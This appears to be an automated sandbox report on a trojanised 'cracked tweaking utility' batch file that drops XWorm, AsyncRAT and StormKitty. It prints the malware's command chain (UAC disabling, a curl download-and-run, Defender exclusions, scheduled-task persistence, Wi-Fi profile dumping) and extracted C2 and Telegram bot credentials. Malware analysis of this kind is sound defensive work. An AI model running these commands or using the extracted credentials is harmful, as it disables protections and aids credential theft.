asyncrat | 16431cc14917abeb316e0bc44045440a8f86b7ac4fdd0dce99de6435d493ecca

Resubmissions

30-05-2024 10:57

240530-m2a24sfg76 10

Analysis

max time kernel
74s
max time network
68s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
30-05-2024 10:57

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General

Target

EXM_Premium_Tweaking_Utility_1.0_Cracked.bat
Size

672KB
MD5

f9ca73d63fe61c4c401528fb470ce08e
SHA1

584f69b507ddf33985673ee612e6099aff760fb1
SHA256

16431cc14917abeb316e0bc44045440a8f86b7ac4fdd0dce99de6435d493ecca
SHA512

6fd03320ec84baf09a16a127c2c0ed3c265906fcb1a3b807c13001e775c396b66539238392438a8f290be04b8b8684050736331f8f99dbe8b868b44f154dd9de
SSDEEP

3072:BIGzQbmbkAqA2xH7VkKEn14IZVvisLur+K3:BIGiVNEn14IZVvisL43

Score

10^/10

asyncrat stormkitty xworm default evasion execution persistence rat spyware stealer trojan

Malware Config

Extracted

Family

xworm

193.161.193.99:49836

Attributes

Install_directory
%LocalAppData%
install_file
svchost.exe
telegram
https://api.telegram.org/bot6701075763:AAGkvv2CpqBxGihH8FtOkSA7Uxy35GZpAFI/sendMessage?chat_id=5991331733

Extracted

Family

asyncrat

Botnet

Default

127.0.0.1:6606

127.0.0.1:7707

127.0.0.1:8808

https://api.telegram.org/bot6701075763:AAGkvv2CpqBxGihH8FtOkSA7Uxy35GZpAFI/sendMessage?chat_id=5991331733

Mutex

AsyncMutex_6SI8OkPnk

Attributes

delay
3
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Detect Xworm Payload 2 IoCs

Processes:

resource	yara_rule
C:\ProgramData\svchost.exe	family_xworm
behavioral2/memory/4360-94-0x0000000000DE0000-0x0000000000DFC000-memory.dmp	family_xworm

StormKitty
StormKitty is an open source info stealer written in C#.
stealer stormkitty

StormKitty payload 2 IoCs

Processes:

resource	yara_rule
C:\ProgramData\runtimebroker.exe	family_stormkitty
behavioral2/memory/1940-98-0x0000000000E10000-0x0000000000E4E000-memory.dmp	family_stormkitty

UAC bypass 3 TTPs 1 IoCs
evasion trojan

Bypass User Account Control
T1548.002

Disable or Modify Tools
T1562.001

Modify Registry
T1112

Processes:

reg.exe

description ioc process

Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" reg.exe
Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Async RAT payload 1 IoCs

rat

Processes:

resource	yara_rule
C:\ProgramData\runtimebroker.exe	family_asyncrat

Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid process

788 powershell.exe
3964 powershell.exe
3888 powershell.exe
3388 powershell.exe
4124 powershell.exe
3496 powershell.exe
2232 powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXMservice.exesvchost.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000\Control Panel\International\Geo\Nation	EXMservice.exe
Key value queried	\REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000\Control Panel\International\Geo\Nation	svchost.exe

Executes dropped EXE 3 IoCs

Processes:

EXMservice.exesvchost.exeruntimebroker.exe

pid process

2476 EXMservice.exe
4360 svchost.exe
1940 runtimebroker.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

pid	process
2476	EXMservice.exe
4360	svchost.exe
1940	runtimebroker.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

svchost.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost = "C:\\Users\\Admin\\AppData\\Local\\svchost.exe"	svchost.exe

Drops desktop.ini file(s) 8 IoCs

Processes:

runtimebroker.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Local\970751ee820a3dac716af4d4e92a2496\Admin@LLXDHEWC_en-US\Grabber\DRIVE-C\Users\Admin\Downloads\desktop.ini	runtimebroker.exe
File created	C:\Users\Admin\AppData\Local\970751ee820a3dac716af4d4e92a2496\Admin@LLXDHEWC_en-US\Grabber\DRIVE-C\Users\Admin\Desktop\desktop.ini	runtimebroker.exe
File created	C:\Users\Admin\AppData\Local\970751ee820a3dac716af4d4e92a2496\Admin@LLXDHEWC_en-US\Grabber\DRIVE-C\Users\Admin\Pictures\Camera Roll\desktop.ini	runtimebroker.exe
File created	C:\Users\Admin\AppData\Local\970751ee820a3dac716af4d4e92a2496\Admin@LLXDHEWC_en-US\Grabber\DRIVE-C\Users\Admin\Pictures\Saved Pictures\desktop.ini	runtimebroker.exe
File created	C:\Users\Admin\AppData\Local\970751ee820a3dac716af4d4e92a2496\Admin@LLXDHEWC_en-US\Grabber\DRIVE-C\Users\Admin\Documents\desktop.ini	runtimebroker.exe
File opened for modification	C:\Users\Admin\AppData\Local\970751ee820a3dac716af4d4e92a2496\Admin@LLXDHEWC_en-US\Grabber\DRIVE-C\Users\Admin\Documents\desktop.ini	runtimebroker.exe
File created	C:\Users\Admin\AppData\Local\970751ee820a3dac716af4d4e92a2496\Admin@LLXDHEWC_en-US\Grabber\DRIVE-C\Users\Admin\Pictures\desktop.ini	runtimebroker.exe
File opened for modification	C:\Users\Admin\AppData\Local\970751ee820a3dac716af4d4e92a2496\Admin@LLXDHEWC_en-US\Grabber\DRIVE-C\Users\Admin\Pictures\desktop.ini	runtimebroker.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

runtimebroker.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	runtimebroker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	runtimebroker.exe

Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exe

pid process

732 schtasks.exe

pid	process
732	schtasks.exe

Suspicious behavior: EnumeratesProcesses 42 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exesvchost.exeruntimebroker.exepowershell.exe

pid	process
788	powershell.exe
788	powershell.exe
3964	powershell.exe
3964	powershell.exe
3388	powershell.exe
3388	powershell.exe
4124	powershell.exe
4124	powershell.exe
3496	powershell.exe
3496	powershell.exe
2232	powershell.exe
2232	powershell.exe
4360	svchost.exe
1940	runtimebroker.exe
1940	runtimebroker.exe
1940	runtimebroker.exe
1940	runtimebroker.exe
1940	runtimebroker.exe
1940	runtimebroker.exe
1940	runtimebroker.exe
1940	runtimebroker.exe
1940	runtimebroker.exe
1940	runtimebroker.exe
1940	runtimebroker.exe
1940	runtimebroker.exe
1940	runtimebroker.exe
1940	runtimebroker.exe
1940	runtimebroker.exe
1940	runtimebroker.exe
1940	runtimebroker.exe
1940	runtimebroker.exe
1940	runtimebroker.exe
1940	runtimebroker.exe
1940	runtimebroker.exe
1940	runtimebroker.exe
1940	runtimebroker.exe
4360	svchost.exe
4360	svchost.exe
4360	svchost.exe
4360	svchost.exe
3888	powershell.exe
3888	powershell.exe

Suspicious use of AdjustPrivilegeToken 52 IoCs

Processes:

powershell.exeWMIC.exepowershell.exesvchost.exeruntimebroker.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	788	powershell.exe
Token: SeIncreaseQuotaPrivilege	2492	WMIC.exe
Token: SeSecurityPrivilege	2492	WMIC.exe
Token: SeTakeOwnershipPrivilege	2492	WMIC.exe
Token: SeLoadDriverPrivilege	2492	WMIC.exe
Token: SeSystemProfilePrivilege	2492	WMIC.exe
Token: SeSystemtimePrivilege	2492	WMIC.exe
Token: SeProfSingleProcessPrivilege	2492	WMIC.exe
Token: SeIncBasePriorityPrivilege	2492	WMIC.exe
Token: SeCreatePagefilePrivilege	2492	WMIC.exe
Token: SeBackupPrivilege	2492	WMIC.exe
Token: SeRestorePrivilege	2492	WMIC.exe
Token: SeShutdownPrivilege	2492	WMIC.exe
Token: SeDebugPrivilege	2492	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2492	WMIC.exe
Token: SeRemoteShutdownPrivilege	2492	WMIC.exe
Token: SeUndockPrivilege	2492	WMIC.exe
Token: SeManageVolumePrivilege	2492	WMIC.exe
Token: 33	2492	WMIC.exe
Token: 34	2492	WMIC.exe
Token: 35	2492	WMIC.exe
Token: 36	2492	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2492	WMIC.exe
Token: SeSecurityPrivilege	2492	WMIC.exe
Token: SeTakeOwnershipPrivilege	2492	WMIC.exe
Token: SeLoadDriverPrivilege	2492	WMIC.exe
Token: SeSystemProfilePrivilege	2492	WMIC.exe
Token: SeSystemtimePrivilege	2492	WMIC.exe
Token: SeProfSingleProcessPrivilege	2492	WMIC.exe
Token: SeIncBasePriorityPrivilege	2492	WMIC.exe
Token: SeCreatePagefilePrivilege	2492	WMIC.exe
Token: SeBackupPrivilege	2492	WMIC.exe
Token: SeRestorePrivilege	2492	WMIC.exe
Token: SeShutdownPrivilege	2492	WMIC.exe
Token: SeDebugPrivilege	2492	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2492	WMIC.exe
Token: SeRemoteShutdownPrivilege	2492	WMIC.exe
Token: SeUndockPrivilege	2492	WMIC.exe
Token: SeManageVolumePrivilege	2492	WMIC.exe
Token: 33	2492	WMIC.exe
Token: 34	2492	WMIC.exe
Token: 35	2492	WMIC.exe
Token: 36	2492	WMIC.exe
Token: SeDebugPrivilege	3964	powershell.exe
Token: SeDebugPrivilege	4360	svchost.exe
Token: SeDebugPrivilege	1940	runtimebroker.exe
Token: SeDebugPrivilege	3388	powershell.exe
Token: SeDebugPrivilege	4124	powershell.exe
Token: SeDebugPrivilege	3496	powershell.exe
Token: SeDebugPrivilege	2232	powershell.exe
Token: SeDebugPrivilege	4360	svchost.exe
Token: SeDebugPrivilege	3888	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

svchost.exe

pid process

4360 svchost.exe

pid	process
4360	svchost.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

cmd.execmd.exeEXMservice.exesvchost.exeruntimebroker.execmd.execmd.exe

description	pid	process	target process
PID 1288 wrote to memory of 3236	1288	cmd.exe	reg.exe
PID 1288 wrote to memory of 3236	1288	cmd.exe	reg.exe
PID 1288 wrote to memory of 936	1288	cmd.exe	reg.exe
PID 1288 wrote to memory of 936	1288	cmd.exe	reg.exe
PID 1288 wrote to memory of 1940	1288	cmd.exe	reg.exe
PID 1288 wrote to memory of 1940	1288	cmd.exe	reg.exe
PID 1288 wrote to memory of 788	1288	cmd.exe	powershell.exe
PID 1288 wrote to memory of 788	1288	cmd.exe	powershell.exe
PID 1288 wrote to memory of 1800	1288	cmd.exe	reg.exe
PID 1288 wrote to memory of 1800	1288	cmd.exe	reg.exe
PID 1288 wrote to memory of 3312	1288	cmd.exe	reg.exe
PID 1288 wrote to memory of 3312	1288	cmd.exe	reg.exe
PID 1288 wrote to memory of 3276	1288	cmd.exe	cmd.exe
PID 1288 wrote to memory of 3276	1288	cmd.exe	cmd.exe
PID 3276 wrote to memory of 2492	3276	cmd.exe	WMIC.exe
PID 3276 wrote to memory of 2492	3276	cmd.exe	WMIC.exe
PID 3276 wrote to memory of 5048	3276	cmd.exe	findstr.exe
PID 3276 wrote to memory of 5048	3276	cmd.exe	findstr.exe
PID 1288 wrote to memory of 3556	1288	cmd.exe	chcp.com
PID 1288 wrote to memory of 3556	1288	cmd.exe	chcp.com
PID 1288 wrote to memory of 4612	1288	cmd.exe	chcp.com
PID 1288 wrote to memory of 4612	1288	cmd.exe	chcp.com
PID 1288 wrote to memory of 2372	1288	cmd.exe	curl.exe
PID 1288 wrote to memory of 2372	1288	cmd.exe	curl.exe
PID 1288 wrote to memory of 3964	1288	cmd.exe	powershell.exe
PID 1288 wrote to memory of 3964	1288	cmd.exe	powershell.exe
PID 1288 wrote to memory of 2476	1288	cmd.exe	EXMservice.exe
PID 1288 wrote to memory of 2476	1288	cmd.exe	EXMservice.exe
PID 2476 wrote to memory of 4360	2476	EXMservice.exe	svchost.exe
PID 2476 wrote to memory of 4360	2476	EXMservice.exe	svchost.exe
PID 2476 wrote to memory of 1940	2476	EXMservice.exe	runtimebroker.exe
PID 2476 wrote to memory of 1940	2476	EXMservice.exe	runtimebroker.exe
PID 2476 wrote to memory of 1940	2476	EXMservice.exe	runtimebroker.exe
PID 1288 wrote to memory of 436	1288	cmd.exe	chcp.com
PID 1288 wrote to memory of 436	1288	cmd.exe	chcp.com
PID 4360 wrote to memory of 3388	4360	svchost.exe	powershell.exe
PID 4360 wrote to memory of 3388	4360	svchost.exe	powershell.exe
PID 4360 wrote to memory of 4124	4360	svchost.exe	powershell.exe
PID 4360 wrote to memory of 4124	4360	svchost.exe	powershell.exe
PID 4360 wrote to memory of 3496	4360	svchost.exe	powershell.exe
PID 4360 wrote to memory of 3496	4360	svchost.exe	powershell.exe
PID 4360 wrote to memory of 2232	4360	svchost.exe	powershell.exe
PID 4360 wrote to memory of 2232	4360	svchost.exe	powershell.exe
PID 4360 wrote to memory of 732	4360	svchost.exe	schtasks.exe
PID 4360 wrote to memory of 732	4360	svchost.exe	schtasks.exe
PID 1940 wrote to memory of 2476	1940	runtimebroker.exe	cmd.exe
PID 1940 wrote to memory of 2476	1940	runtimebroker.exe	cmd.exe
PID 1940 wrote to memory of 2476	1940	runtimebroker.exe	cmd.exe
PID 2476 wrote to memory of 4920	2476	cmd.exe	chcp.com
PID 2476 wrote to memory of 4920	2476	cmd.exe	chcp.com
PID 2476 wrote to memory of 4920	2476	cmd.exe	chcp.com
PID 2476 wrote to memory of 2844	2476	cmd.exe	netsh.exe
PID 2476 wrote to memory of 2844	2476	cmd.exe	netsh.exe
PID 2476 wrote to memory of 2844	2476	cmd.exe	netsh.exe
PID 2476 wrote to memory of 4532	2476	cmd.exe	findstr.exe
PID 2476 wrote to memory of 4532	2476	cmd.exe	findstr.exe
PID 2476 wrote to memory of 4532	2476	cmd.exe	findstr.exe
PID 1940 wrote to memory of 4780	1940	runtimebroker.exe	cmd.exe
PID 1940 wrote to memory of 4780	1940	runtimebroker.exe	cmd.exe
PID 1940 wrote to memory of 4780	1940	runtimebroker.exe	cmd.exe
PID 4780 wrote to memory of 4468	4780	cmd.exe	chcp.com
PID 4780 wrote to memory of 4468	4780	cmd.exe	chcp.com
PID 4780 wrote to memory of 4468	4780	cmd.exe	chcp.com
PID 4780 wrote to memory of 4928	4780	cmd.exe	netsh.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\EXM_Premium_Tweaking_Utility_1.0_Cracked.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1288
- C:\Windows\system32\reg.exe
  Reg.exe delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\SystemRestore" /v "RPSessionInterval" /f
  2⤵
  PID:3236
- C:\Windows\system32\reg.exe
  Reg.exe delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\SystemRestore" /v "DisableConfig" /f
  2⤵
  PID:936
- C:\Windows\system32\reg.exe
  Reg.exe add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v "SystemRestorePointCreationFrequency" /t REG_DWORD /d 0 /f
  2⤵
  PID:1940
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ExecutionPolicy Unrestricted -NoProfile Enable-ComputerRestore -Drive 'C:\'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:788
- C:\Windows\system32\reg.exe
  Reg.exe ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t REG_DWORD /d "0" /f
  2⤵
  - UAC bypass
  PID:1800
- C:\Windows\system32\reg.exe
  Reg.exe add "HKCU\CONSOLE" /v "VirtualTerminalLevel" /t REG_DWORD /d "1" /f
  2⤵
  PID:3312
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic path Win32_UserAccount where name="Admin" get sid | findstr "S-"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3276
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic path Win32_UserAccount where name="Admin" get sid
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2492
- - C:\Windows\system32\findstr.exe
    findstr "S-"
    3⤵
    PID:5048
- C:\Windows\system32\chcp.com
  chcp 65001
  2⤵
  PID:3556
- C:\Windows\system32\chcp.com
  chcp 437
  2⤵
  PID:4612
- C:\Windows\system32\curl.exe
  curl -g -k -L -# -o "C:\Users\Admin\AppData\Local\Temp\exm.zip" "https://github.com/anonyketa/EXM-Tweaking-Utility-Premium/releases/download/V1.0/exm.zip"
  2⤵
  PID:2372
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile Expand-Archive 'C:\Users\Admin\AppData\Local\Temp\exm.zip' -DestinationPath 'C:\Exm\'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3964
- C:\exm\EXMservice.exe
  EXMservice.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2476
- - C:\ProgramData\svchost.exe
    "C:\ProgramData\svchost.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:4360
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\svchost.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3388
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svchost.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4124
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\svchost.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3496
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svchost.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2232
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svchost" /tr "C:\Users\Admin\AppData\Local\svchost.exe"
      4⤵
      Creates scheduled task(s)
      PID:732
- - C:\ProgramData\runtimebroker.exe
    "C:\ProgramData\runtimebroker.exe"
    3⤵
    - Executes dropped EXE
    - Drops desktop.ini file(s)
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1940
  - - C:\Windows\SysWOW64\cmd.exe
      "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2476
    - - C:\Windows\SysWOW64\chcp.com
        
        chcp 65001
        5⤵
        
        PID:4920
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh wlan show profile
        5⤵
        
        PID:2844
    - - C:\Windows\SysWOW64\findstr.exe
        
        findstr All
        5⤵
        
        PID:4532
  - - C:\Windows\SysWOW64\cmd.exe
      "cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4780
    - - C:\Windows\SysWOW64\chcp.com
        
        chcp 65001
        5⤵
        
        PID:4468
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh wlan show networks mode=bssid
        5⤵
        
        PID:4928
- C:\Windows\system32\chcp.com
  chcp 65001
  2⤵
  PID:436
- C:\Windows\system32\chcp.com
  chcp 437
  2⤵
  PID:4616
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "& {Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.MessageBox]::Show('ONLY DO THESE ON ETHERNET, WIFI TWEAKS COMING IN 1.0', 'Exm Tweaking Utility', 'Ok', [System.Windows.Forms.MessageBoxIcon]::Information);}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3888

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\ProgramData\runtimebroker.exe

Filesize
225KB

MD5
8008775094d446eaed43a423cd8a26f9

SHA1
4b8ef16e4a70fed23dc20cc5e27566df1e06af04

SHA256
48a06f8dbe0c56894b38bb3489c8ed5243d246328c512ee265bc31de441b5e1f

SHA512
6d9f2dca0d9032702971b339b7df65efab1c95d76e89044cf36ed43ef3116d21d1203d1561bd5fb4bd838d4df3dfbd240e2c89b715400f7a89037a3757326792

Download Submit
C:\ProgramData\svchost.exe

Filesize
88KB

MD5
424bd17cfc4d1a3c274b5368d27b2b16

SHA1
a3f372325ba20b7283cd243f3a1cb00c260fd779

SHA256
317da7fba13d450ff8b7340fc45b026fe20d1ac5776852abbc196a70c4edf15a

SHA512
42c448380d2c05b7230c245730913c735a8a0e067c2be8828f3a07799e75d4c4911258431bb05edf528944b983a62e3d75ce48c7813b926eb0a0641e586c97c4

Download Submit
C:\Users\Admin\AppData\Local\970751ee820a3dac716af4d4e92a2496\Admin@LLXDHEWC_en-US\System\Process.txt

Filesize
4KB

MD5
58fb2a819ad9a6e3bc92ceb82f86c24c

SHA1
723590ef6209ac1e61202c003bd2c5366f8bd7f9

SHA256
55d008dd82fff26ff4cb151b0f2568f8a36e4ccd61b6e25453f6fe4998ca823b

SHA512
a6d0ccf0c99529530ed6790f9c1f74de65e93c315ed1ddc38f50a69ab7eb45d2ce4d30cb8fa7831c0fce6320a09f6b0de4aab34d3a840df704df3f60f07d744a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
6cf293cb4d80be23433eecf74ddb5503

SHA1
24fe4752df102c2ef492954d6b046cb5512ad408

SHA256
b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

SHA512
0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
2b8634a147a40bf4e6836be570a3e21d

SHA1
a1f2eb05ade58e4aa48b156e5de8d72dc04c4ad3

SHA256
2516904bf17e895f7b0c9bfec81fe1516de4d37c6a2835b8c83aa79f670f63ce

SHA512
78c5348a121bc00e6f7427dc4b11c301c4f2e898c4108eb328c8a740d96fc8a8a1f869b3769e84ec1b36fc483280ae7b6d5e9981e7bf2facd548944b036a0bd8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
8eb920ec36de874a0f1ba3c8b684ef1a

SHA1
429a2245091d55268a611729193f6dbfedf3b7a7

SHA256
670d7aaa9c419bf3ebfe19e7ff8fdf7f3c4fabf44be0c14ab296d20fc68e1948

SHA512
b2ebc48f296d07b7d3baa7596ee24c94fcc8085bf7a9c0d9eb660648d0ffa46dea1c99f8597a405af130dfec05867eed22e9d300732fc47bfb73917f2e806608

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
54522d22658e4f8f87ecb947b71b8feb

SHA1
6a6144bdf9c445099f52211b6122a2ecf72b77e9

SHA256
af18fc4864bc2982879aed928c960b6266f372c928f8c9632c5a4eecd64e448a

SHA512
55f2c5a455be20dcb4cb93a29e5389e0422237bdd7ac40112fec6f16a36e5e19df50d25d39a6d5acb2d41a96514c7ecd8631ce8e67c4ff04997282f49d947aba

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
22310ad6749d8cc38284aa616efcd100

SHA1
440ef4a0a53bfa7c83fe84326a1dff4326dcb515

SHA256
55b1d8021c4eb4c3c0d75e3ed7a4eb30cd0123e3d69f32eeb596fe4ffec05abf

SHA512
2ef08e2ee15bb86695fe0c10533014ffed76ececc6e579d299d3365fafb7627f53e32e600bb6d872b9f58aca94f8cb7e1e94cdfd14777527f7f0aa019d9c6def

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
50a8221b93fbd2628ac460dd408a9fc1

SHA1
7e99fe16a9b14079b6f0316c37cc473e1f83a7e6

SHA256
46e488628e5348c9c4dfcdeed5a91747eae3b3aa49ae1b94d37173b6609efa0e

SHA512
27dda53e7edcc1a12c61234e850fe73bf3923f5c3c19826b67f2faf9e0a14ba6658001a9d6a56a7036409feb9238dd452406e88e318919127b4a06c64dba86f0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
e60eb305a7b2d9907488068b7065abd3

SHA1
1643dd7f915ac50c75bc01c53d68c5dafb9ce28d

SHA256
ad07460e061642c0dd4e7dfa7b821aacce873e290389e72f708e9f3504f9d135

SHA512
95c45afec6fa4e0b2a21edd10a6b2dc30568810c67bc9bc34d98ab111c48261f377a370583adb27e08616b0108026c119493b1b093b52ce931117e646b46cb7b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sz1nucc1.zoi.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\exm.zip

Filesize
17.6MB

MD5
6f327c93d2774f815fa2fbed9c6a833a

SHA1
34ccaf41e3b6790f1344060682eb406af6aec884

SHA256
685c2177e06eb8fd5ac7e14794e3689c129cb643033452ef87d7549b96371d11

SHA512
a42ed6efaf7205208d8efd4c01b55ac14025ea4f7d258e9a44c355c0cf975743a9c06637ea1eb2fe8b9d3e30527622a905bfeb700599c9885a1ebe0690aa35d7

Download Submit
C:\exm\EXMservice.exe

Filesize
327KB

MD5
9afded50538d3ecced82517a6ad7b5f9

SHA1
177d9e32159eef20f1264b3e9dc4f32ba8943b98

SHA256
c9dd77e8faa24fb8ab7faf371fb23e286464b6d30cdee205524578bc88df3b20

SHA512
